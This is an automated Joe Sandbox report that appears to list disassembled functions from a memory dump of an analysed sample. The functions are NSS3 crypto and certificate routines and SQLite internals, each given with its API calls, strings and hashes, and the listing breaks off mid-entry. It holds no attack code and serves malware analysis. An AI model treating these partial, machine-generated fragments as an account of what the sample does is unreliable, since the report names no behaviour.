Opcode Fuzzy Hash: 5d097023f02fadf72a1dd01aeefaddca643f9314843771dc0d5fc55f8780d635
Instruction Fuzzy Hash: F3B314746083818FD714CF69C490B5ABBE2FF89318F148A5DE8D98B761D731E846CB92

Function 6CBEEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEEF63

Part of subcall function 6CBF87D0: PORT_NewArena_Util.NSS3(00000800,6CBEEF74,00000000), ref: 6CBF87E8
Part of subcall function 6CBF87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CBEEF74,00000000), ref: 6CBF87FD
Part of subcall function 6CBF87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CBF884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CBEF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CBEF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CBEF374
PL_strcasecmp.NSS3(6CD32FD4,?), ref: 6CBEF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CBEF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CBEF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CBEF67D
CERT_DestroyName.NSS3(?), ref: 6CBEF68B

Part of subcall function 6CBF8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CBF8338
Part of subcall function 6CBF8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CBF8364
Part of subcall function 6CBF8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CBF838E
Part of subcall function 6CBF8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBF83A5
Part of subcall function 6CBF8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF83E3

Part of subcall function 6CBF84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CBF84D9
Part of subcall function 6CBF84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CBF8528

Part of subcall function 6CBF8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CBEF599,?,00000000), ref: 6CBF8955

Strings

*, xrefs: 6CBEF3C6
oid., xrefs: 6CBEF2CF
", xrefs: 6CBEF21B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 8393b7cebd97f441ba9a65842d7e04856add7c303672e63de4d852082ed4ccde
Instruction ID: 57ef63aa8a864d80c761709ce93913d3326dd57306e8fd8059d230aae8175032
Opcode Fuzzy Hash: 8393b7cebd97f441ba9a65842d7e04856add7c303672e63de4d852082ed4ccde
Instruction Fuzzy Hash: A62228716083C04FE714CE29E49076AB7E6EBCDB98F184A2EE49587B95E7319C05C783

Function 6CC4A5E0 Relevance: 23.1, APIs: 15, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 936a3ebbfa7e48998fec1a856459cc5d30ab4e64711f07f7120b9b74243dea79
Instruction ID: ab83a5cc63953a48e68cc7563f4265f9d0c1dd9cfd84c2690523214ea577decb
Opcode Fuzzy Hash: 936a3ebbfa7e48998fec1a856459cc5d30ab4e64711f07f7120b9b74243dea79
Instruction Fuzzy Hash: 2F123B70D092584FDB358E2988913ED77F6AFCA318F28C1F9C9A957A41F2318985CF91

Function 6CC20570 Relevance: 22.8, APIs: 15, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

PK11_HPKE_Deserialize.NSS3(?,?,?,00000000), ref: 6CC205E3
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2060C
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6CC2061A
PK11_PubDeriveWithKDF.NSS3 ref: 6CC20712
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC20740
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CC20760
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CC207AE
PK11_FreeSymKey.NSS3(?), ref: 6CC207BC
PK11_FreeSymKey.NSS3(?), ref: 6CC207D1
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC207DD
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC207EB
SECITEM_ZfreeItem_Util.NSS3(00000001,00000001), ref: 6CC207F8
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CC2082F
memcpy.VCRUNTIME140(?,?,?), ref: 6CC208A9
SECITEM_DupItem_Util.NSS3(?), ref: 6CC208D0

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$Item_Util$ContextDestroyErrorFreeZfreememcpy$AllocCreateDeriveDeserializePublicWith
String ID:
API String ID: 657680294-0
Opcode ID: b13e75d8e205387b52b55be9f33a3e67e3f94939c72c59c1877f5499a9770055
Instruction ID: 995bcb813bf6fcb4e48aa9f2bbfccf13aa53568b02362d6c91878d684d0a8ab0
Opcode Fuzzy Hash: b13e75d8e205387b52b55be9f33a3e67e3f94939c72c59c1877f5499a9770055
Instruction Fuzzy Hash: 0E91B1B1A043409FE700DF25D851B5BB7E1EF84318F14862EE98987B91FB35D844CB92

Function 6CC5EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC5C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC5DAE2,?), ref: 6CC5C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CC5F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CD2218C), ref: 6CC5F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CC5F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC5F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC5F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC5F210

Part of subcall function 6CC052D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CC5F1E9,?,00000000,?,?), ref: 6CC052F5
Part of subcall function 6CC052D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CC0530F
Part of subcall function 6CC052D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CC05326
Part of subcall function 6CC052D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CC5F1E9,?,00000000,?,?), ref: 6CC05340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC5F227

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CC5F23E

Part of subcall function 6CC4BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CBFE708,00000000,00000000,00000004,00000000), ref: 6CC4BE6A
Part of subcall function 6CC4BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC004DC,?), ref: 6CC4BE7E
Part of subcall function 6CC4BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC4BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC5F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC5F3A8

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC5F3B3

Part of subcall function 6CC02D20: PK11_DestroyObject.NSS3(?,?), ref: 6CC02D3C
Part of subcall function 6CC02D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC02D5F

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 697149549e4dec1a85aa6556f14af904802d80fb3ed1a20085ca037cc6826670
Instruction ID: fb11551ef959683e8a515de430ccd8903e73374dd5d649bca469cf9dd24080f6
Opcode Fuzzy Hash: 697149549e4dec1a85aa6556f14af904802d80fb3ed1a20085ca037cc6826670
Instruction Fuzzy Hash: CDD180B6E016059FEB08CFA9D880A9EB7F5FF48308F558029D915A7711FB31E826CB54

Function 6CB7ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB7ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB7EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB7EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CB7EF98

Strings

database corruption, xrefs: 6CB7F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7F483
%s at line %d of [%.10s], xrefs: 6CB7F492

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 3c445744a9e40a757f7f95ba54ebeda5a43ff26639c29c1eb8def0081a81413e
Instruction ID: e44deafdb25ed72377e4dde078855e36ca5ca99fbddfff06a6c0281f7c5e0d62
Opcode Fuzzy Hash: 3c445744a9e40a757f7f95ba54ebeda5a43ff26639c29c1eb8def0081a81413e
Instruction Fuzzy Hash: 9A62E130A042C58FEB24CF68C48479EBBB1FF45318F184199DC656BB91D735E886CBA6

Function 6CC20EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CC20F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC20FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CC21006
PK11_FreeSymKey.NSS3(?), ref: 6CC2101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC21033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC2103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CC21048
memcpy.VCRUNTIME140(?,?,?), ref: 6CC2108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC210BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CC210D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CC2112E

Part of subcall function 6CC21570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CC208C4,?,?), ref: 6CC215B8
Part of subcall function 6CC21570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CC208C4,?,?), ref: 6CC215C1
Part of subcall function 6CC21570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC2162E
Part of subcall function 6CC21570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC21637

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: cb4b3e43ca8bb6cb972c57ba5f611578c868d92bfcd6f176a6366f14b5c75c06
Instruction ID: a0309edbd40cf5c9bb00cf680d921c37b5c564628bb88bea7982d7e8802622e9
Opcode Fuzzy Hash: cb4b3e43ca8bb6cb972c57ba5f611578c868d92bfcd6f176a6366f14b5c75c06
Instruction Fuzzy Hash: 4171CEB1E002059FDB04CFA9C884A6AF7B4BF48318F14862DE90997B51FB76DD45CB91

Function 6CBDC650 Relevance: 16.5, APIs: 7, Strings: 2, Instructions: 760COMMON

Download Yara Rule

Strings

0123456789ABCDEF, xrefs: 6CBDD104
0123456789abcdef, xrefs: 6CBDC859

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEF$0123456789abcdef
API String ID: 0-885041942
Opcode ID: 47cbfea44e246cbe7835f60ccca304d824e97d2203762c762316bcac9d06a90d
Instruction ID: 16167ab01ff4ee566956cb62fc1ca32e06a8b7542beb71419abf3918f161f2a4
Opcode Fuzzy Hash: 47cbfea44e246cbe7835f60ccca304d824e97d2203762c762316bcac9d06a90d
Instruction Fuzzy Hash: D852D2306483818FD705DF28C49075ABBE2EFC6358F1A8A2DE99987751D735E846CB83

Function 6CC46C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C3F

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C60
PR_ExplodeTime.NSS3(00000000,6CBF1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C94

Strings

gfff, xrefs: 6CC46CFD
gfff, xrefs: 6CC46CF5
gfff, xrefs: 6CC46D9C
gfff, xrefs: 6CC46D30
gfff, xrefs: 6CC46D66

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 5018a9f8e0b7b11fb0bbd811da8ec0f5dff8b5b8f1141e8528b81dd854914707
Instruction ID: 2c74110a9549274cdb5af6235fd15b4922a27f3231bc46940ab6a9b69a1ebaeb
Opcode Fuzzy Hash: 5018a9f8e0b7b11fb0bbd811da8ec0f5dff8b5b8f1141e8528b81dd854914707
Instruction Fuzzy Hash: BC513C72B016494FC71CCEADDC527DAB7DAABA4310F48C23AE441DB785E638D906C751

Function 6CCC0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CCC1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCC10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCC1353

Strings

-- , xrefs: 6CCC0FF5
'%.*q', xrefs: 6CCC1217, 6CCC1292
%02x, xrefs: 6CCC12F6
$, xrefs: 6CCC12A0
NULL, xrefs: 6CCC119E
zeroblob(%d), xrefs: 6CCC1223
%lld, xrefs: 6CCC114B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 439861ffffc1ce25a942dd010235577e1d6b316dd94c742d01da5526b930072b
Instruction ID: eb9a098d29230ba11baa72437919490b16cbbefb2d3152fb156cf42616f6eb4f
Opcode Fuzzy Hash: 439861ffffc1ce25a942dd010235577e1d6b316dd94c742d01da5526b930072b
Instruction Fuzzy Hash: D1E1BF75A083809FD700CF5AC480A6BBBF1BF86358F18892DE99587B51E771E849CB43

Function 6CB80FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CB8103E
EnterCriticalSection.KERNEL32(?), ref: 6CB81139
LeaveCriticalSection.KERNEL32(?), ref: 6CB81190
sqlite3_free.NSS3(00000000), ref: 6CB81227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CB8126E
sqlite3_free.NSS3(?), ref: 6CB8127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB81267
winAccess, xrefs: 6CB8129B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: fdb1f1be36803df78b9c46d35d1bdf7c18f2bea800c9895b00ffc934b310bc7c
Instruction ID: 3b3431dfc58d2facda9fefa8a4bba5e5321bfb0bbe6f72fbc9ffcabdd7467231
Opcode Fuzzy Hash: fdb1f1be36803df78b9c46d35d1bdf7c18f2bea800c9895b00ffc934b310bc7c
Instruction Fuzzy Hash: A4710A317472819BFB04EF25DC85A6B7379FB86319F584229EA3587A80EB30D805C793

Function 6CB8AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CCACF46,?,6CB7CDBD,?,6CCABF31,?,?,?,?,?,?,?), ref: 6CB8B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31), ref: 6CB8B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31), ref: 6CB8B0A2
CloseHandle.KERNEL32(?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31,?,?,?,?,?,?,?,?,?), ref: 6CB8B100
sqlite3_free.NSS3(?,?,00000002,?,6CCACF46,?,6CB7CDBD,?,6CCABF31,?,?,?,?,?,?,?), ref: 6CB8B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31), ref: 6CB8B12D

Part of subcall function 6CB79EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB8C6FD,?,?,?,?,6CBDF965,00000000), ref: 6CB79F0E
Part of subcall function 6CB79EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CBDF965,00000000), ref: 6CB79F5D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 1d6d8152dce6009c8eef7f8c974ad716437532586ac2010f599834ede143879b
Instruction ID: 7e51a66e6921ff3dbbe386bd8946fd80c3e4c7c494ed1c66222594e9542a91fd
Opcode Fuzzy Hash: 1d6d8152dce6009c8eef7f8c974ad716437532586ac2010f599834ede143879b
Instruction Fuzzy Hash: 5591DFB0A052458FEB14DF38CC84B6BB7B5FF45308F28462DE51697A90EB31E854CB52

Function 6CCC8550 Relevance: 12.8, APIs: 6, Strings: 1, Instructions: 528stringCOMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000021B,recovered %d pages from %s,00000000,?), ref: 6CCC85CC
memset.VCRUNTIME140(?,00000000,?), ref: 6CCC893A
sqlite3_free.NSS3(?), ref: 6CCC8977
sqlite3_free.NSS3 ref: 6CCC89A5
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CCC8B68
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCC8B79

Strings

recovered %d pages from %s, xrefs: 6CCC85C2

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
